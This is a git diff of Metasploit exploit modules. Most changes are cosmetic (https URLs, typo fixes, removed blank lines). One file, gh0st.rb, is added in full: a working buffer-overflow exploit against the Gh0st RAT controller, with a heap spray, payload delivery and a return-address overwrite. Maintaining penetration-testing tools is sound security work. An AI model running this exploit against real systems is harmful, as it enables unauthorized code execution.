+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/bigant_server.rb b/modules/exploits/windows/misc/bigant_server.rb
index d3ba04330b..5b2e3802ab 100644
--- a/modules/exploits/windows/misc/bigant_server.rb
+++ b/modules/exploits/windows/misc/bigant_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -63,5 +63,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/bigant_server_250.rb b/modules/exploits/windows/misc/bigant_server_250.rb
index f5b188ff1f..9d7d4f04f9 100644
--- a/modules/exploits/windows/misc/bigant_server_250.rb
+++ b/modules/exploits/windows/misc/bigant_server_250.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb
index 90aeca4439..479d87bde5 100644
--- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb
+++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         command. Additionally the filename option in the same command can be used to launch
         a directory traversal attack and achieve arbitrary file upload.
 
-        The module uses uses the Windows Management Instrumentation service to execute an
+        The module uses the Windows Management Instrumentation service to execute an
         arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
         has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
         SP2.
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb
index e739f21c6f..5853253ce7 100644
--- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb
+++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -175,5 +175,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/bigant_server_usv.rb b/modules/exploits/windows/misc/bigant_server_usv.rb
index 75306c4560..3b4711a308 100644
--- a/modules/exploits/windows/misc/bigant_server_usv.rb
+++ b/modules/exploits/windows/misc/bigant_server_usv.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb
index 4a16938409..1a2e217316 100644
--- a/modules/exploits/windows/misc/bomberclone_overflow.rb
+++ b/modules/exploits/windows/misc/bomberclone_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(udp_sock)
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/misc/bopup_comm.rb b/modules/exploits/windows/misc/bopup_comm.rb
index 7d5ec0ebb8..273fe9324b 100644
--- a/modules/exploits/windows/misc/bopup_comm.rb
+++ b/modules/exploits/windows/misc/bopup_comm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/borland_interbase.rb b/modules/exploits/windows/misc/borland_interbase.rb
index bb347941ab..c08c31c241 100644
--- a/modules/exploits/windows/misc/borland_interbase.rb
+++ b/modules/exploits/windows/misc/borland_interbase.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -61,5 +61,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/borland_starteam.rb b/modules/exploits/windows/misc/borland_starteam.rb
index 8c2cea8b3f..a00e061680 100644
--- a/modules/exploits/windows/misc/borland_starteam.rb
+++ b/modules/exploits/windows/misc/borland_starteam.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -62,5 +62,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb
index 4c0566a526..217617369b 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(udp_sock)
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb
index c804b88c11..056b61b1ec 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb
@@ -1,7 +1,7 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb
index b2545ab141..dd1354d8e6 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
index 5feec4b3cd..47ead363d9 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
index 71814b5dd9..9097d4b59a 100644
--- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
+++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/doubletake.rb b/modules/exploits/windows/misc/doubletake.rb
index 5c3497b884..54b74c2019 100644
--- a/modules/exploits/windows/misc/doubletake.rb
+++ b/modules/exploits/windows/misc/doubletake.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/eiqnetworks_esa.rb b/modules/exploits/windows/misc/eiqnetworks_esa.rb
index ca8a09ca7d..1370043f5f 100644
--- a/modules/exploits/windows/misc/eiqnetworks_esa.rb
+++ b/modules/exploits/windows/misc/eiqnetworks_esa.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb
index 201b00fd8a..2e23fa40ad 100644
--- a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb
+++ b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb
index d11419512c..76959341ba 100644
--- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb
+++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -150,5 +150,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/misc/eureka_mail_err.rb b/modules/exploits/windows/misc/eureka_mail_err.rb
index 9ffaa1ccae..e99cda048b 100644
--- a/modules/exploits/windows/misc/eureka_mail_err.rb
+++ b/modules/exploits/windows/misc/eureka_mail_err.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb
index 0ad2f0e651..835342afca 100644
--- a/modules/exploits/windows/misc/fb_cnct_group.rb
+++ b/modules/exploits/windows/misc/fb_cnct_group.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
         This module uses an existing call to memcpy, just prior to the vulnerable code,
         which allows a small amount of data to be written to the stack. A two-phases
-        stackpivot allows to execute the ROP chain which ultimately is used to execute
+        stack pivot allows to execute the ROP chain which ultimately is used to execute
         VirtualAlloc and bypass DEP.
       },
       'Author'      => 'Spencer McIntyre',
@@ -260,5 +260,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/fb_isc_attach_database.rb b/modules/exploits/windows/misc/fb_isc_attach_database.rb
index a9983805d5..ec5b7ba5b4 100644
--- a/modules/exploits/windows/misc/fb_isc_attach_database.rb
+++ b/modules/exploits/windows/misc/fb_isc_attach_database.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -169,5 +169,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/fb_isc_create_database.rb b/modules/exploits/windows/misc/fb_isc_create_database.rb
index 5e7d30cbbb..7ae32e5526 100644
--- a/modules/exploits/windows/misc/fb_isc_create_database.rb
+++ b/modules/exploits/windows/misc/fb_isc_create_database.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -169,5 +169,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/fb_svc_attach.rb b/modules/exploits/windows/misc/fb_svc_attach.rb
index 21889f920d..d0afeaaf7f 100644
--- a/modules/exploits/windows/misc/fb_svc_attach.rb
+++ b/modules/exploits/windows/misc/fb_svc_attach.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -127,5 +127,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/gh0st.rb b/modules/exploits/windows/misc/gh0st.rb
new file mode 100644
index 0000000000..f4a8ff1734
--- /dev/null
+++ b/modules/exploits/windows/misc/gh0st.rb
@@ -0,0 +1,127 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'zlib'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Gh0st Client buffer Overflow',
+      'Description'    => %q{
+          This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
+      },
+      'Author'         => 'Professor Plum',
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+          'AllowWin32SEH' => true
+        },
+      'Payload'        =>
+        {
+          'Space'    => 1000,
+          'BadChars' => '',
+          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
+        },
+      'Platform'       => 'win',
+      'DisclosureDate' => 'Jul 27 2017',
+      'Targets'        =>
+        [
+          ['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
+        ],
+      'Privileged'     => false,
+      'DefaultTarget' => 0))
+
+    register_options(
+      [
+        OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
+        Opt::RPORT(80)
+      ]
+    )
+  end
+
+  def make_packet(id, data)
+    msg = id.chr + data
+    compressed = Zlib::Deflate.deflate(msg)
+    datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
+  end
+
+  def validate_response(data)
+    if data.nil?
+      print_status('Server closed connection')
+      return false
+    end
+    if data.empty?
+      print_status('No response recieved')
+      return false
+    end
+    if data.size < 13
+      print_status('Invalid packet')
+      print_status(data)
+      return false
+    end
+    mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
+    if mag.index(datastore['MAGIC']) != 0
+      print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
+      return false
+    end
+    if pktlen != data.size
+      print_status('Packet size mismatch')
+      return false
+    end
+    msg = Zlib::Inflate.inflate(data[13..data.size])
+    if msg.size != msglen
+      print_status('Packet decompress failure')
+      return false
+    end
+    return true
+  end
+
+  def check
+    connect
+    sock.put(make_packet(101, "\x00")) # heartbeat
+    if validate_response(sock.get_once || '')
+      return Exploit::CheckCode::Appears
+    end
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    print_status("Trying target #{target.name}")
+    print_status('Spraying heap...')
+    for i in 0..100
+      connect
+      sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
+      if not validate_response(sock.get_once)
+        disconnect
+        return
+      end
+    end
+
+    for i in 103..107
+      print_status("Trying command #{i}...")
+      begin
+        connect
+        sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
+        sock.put(sploit)
+        if validate_response(sock.get_once)
+          next
+        end
+        sleep(0.1)
+        break
+      rescue EOFError
+        print_status('Invalid')
+      end
+    end
+    handler
+    disconnect
+  end
+end
diff --git a/modules/exploits/windows/misc/gimp_script_fu.rb b/modules/exploits/windows/misc/gimp_script_fu.rb
index 25f75ba7b8..470dc374c4 100644
--- a/modules/exploits/windows/misc/gimp_script_fu.rb
+++ b/modules/exploits/windows/misc/gimp_script_fu.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -88,7 +88,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb
index 2cdb1a0b21..a5accdcda6 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'HP Data Protector 8.10 Remote Command Execution',
       'Description'    => %q{
         This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary
-        commands can be execute by sending crafted requests with opcode 28 to the OmniInet
-        service listening on the TCP/5555 port. Since there is an strict length limitation on
+        commands can be executed by sending crafted requests with opcode 28 to the OmniInet
+        service listening on the TCP/5555 port. Since there is a strict length limitation on
         the command, rundll32.exe is executed, and the payload is provided through a DLL by a
         fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on
         Windows 7 SP1.
diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb
index 39422d4791..6f1afafa3c 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -253,5 +251,4 @@ class MetasploitModule < Msf::Exploit::Remote
     sock.put(pkt)
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb
index 9cf0c87902..2643b89d0c 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb b/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb
index 3913fc880a..eb9ad8020e 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -144,6 +144,5 @@ class MetasploitModule < Msf::Exploit::Remote
 
     print_status("Waiting for payload execution (this can take up to 30 seconds or so)")
   end
-
 end
 
diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
index 834d8524d3..695c995070 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/exploit/powershell'
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -199,5 +197,4 @@ class MetasploitModule < Msf::Exploit::Remote
       command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
     end
   end
-
 end
diff --git a/modules/exploits/windows/misc/hp_dataprotector_install_service.rb b/modules/exploits/windows/misc/hp_dataprotector_install_service.rb
index db22637cc2..6b0fedbc0d 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_install_service.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_install_service.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'HP Data Protector 6.10/6.11/6.20 Install Service',
       'Description'    => %q{
-        This module exploits HP Data Protector Omniinet process on Windows only.
+        This module exploits HP Data Protector OmniInet process on Windows only.
         This exploit invokes the install service function which allows an attacker to create a
         custom payload in the format of an executable.
 
diff --git a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb
index 7025c910e0..aaca67bf5d 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb
index cee7df9aed..78cba2eda9 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -147,5 +145,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # process execution after file write on the target
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/hp_imc_uam.rb b/modules/exploits/windows/misc/hp_imc_uam.rb
index 2b076a294c..c82947f7b1 100644
--- a/modules/exploits/windows/misc/hp_imc_uam.rb
+++ b/modules/exploits/windows/misc/hp_imc_uam.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb
index 369fd6cf9e..e7c4f73b05 100644
--- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb
+++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/hp_magentservice.rb b/modules/exploits/windows/misc/hp_magentservice.rb
index fa628a86b0..34d648e812 100644
--- a/modules/exploits/windows/misc/hp_magentservice.rb
+++ b/modules/exploits/windows/misc/hp_magentservice.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb
index fe471d0e90..67353323b5 100644
--- a/modules/exploits/windows/misc/hp_omniinet_1.rb
+++ b/modules/exploits/windows/misc/hp_omniinet_1.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -207,5 +205,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb
index 705c0af4e9..c105548bb3 100644
--- a/modules/exploits/windows/misc/hp_omniinet_2.rb
+++ b/modules/exploits/windows/misc/hp_omniinet_2.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -203,5 +201,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/hp_omniinet_3.rb b/modules/exploits/windows/misc/hp_omniinet_3.rb
index 09e03b4104..109d5a403a 100644
--- a/modules/exploits/windows/misc/hp_omniinet_3.rb
+++ b/modules/exploits/windows/misc/hp_omniinet_3.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'HP OmniInet.exe Opcode 27 Buffer Overflow',
       'Description'    => %q{
-          This module exploits a  buffer overflow in the Hewlett-Packard
+          This module exploits a buffer overflow in the Hewlett-Packard
         OmniInet NT Service. By sending a specially crafted opcode 27 packet,
         a remote attacker may be able to execute arbitrary code.
       },
@@ -121,5 +121,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/misc/hp_omniinet_4.rb b/modules/exploits/windows/misc/hp_omniinet_4.rb
index d58a714a10..8ace1d511e 100644
--- a/modules/exploits/windows/misc/hp_omniinet_4.rb
+++ b/modules/exploits/windows/misc/hp_omniinet_4.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb
index 87c8bb3f46..6b52aacb0a 100644
--- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb
+++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -200,5 +200,4 @@ user-agent: BBC 11.00.044;  14
 
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb
index dd4db00d74..f16f5c6c8a 100644
--- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb
+++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -202,5 +202,4 @@ user-agent: BBC 11.00.044;  14
 
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/hp_ovtrace.rb b/modules/exploits/windows/misc/hp_ovtrace.rb
index f90f58b906..ff835379b4 100644
--- a/modules/exploits/windows/misc/hp_ovtrace.rb
+++ b/modules/exploits/windows/misc/hp_ovtrace.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -60,5 +60,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
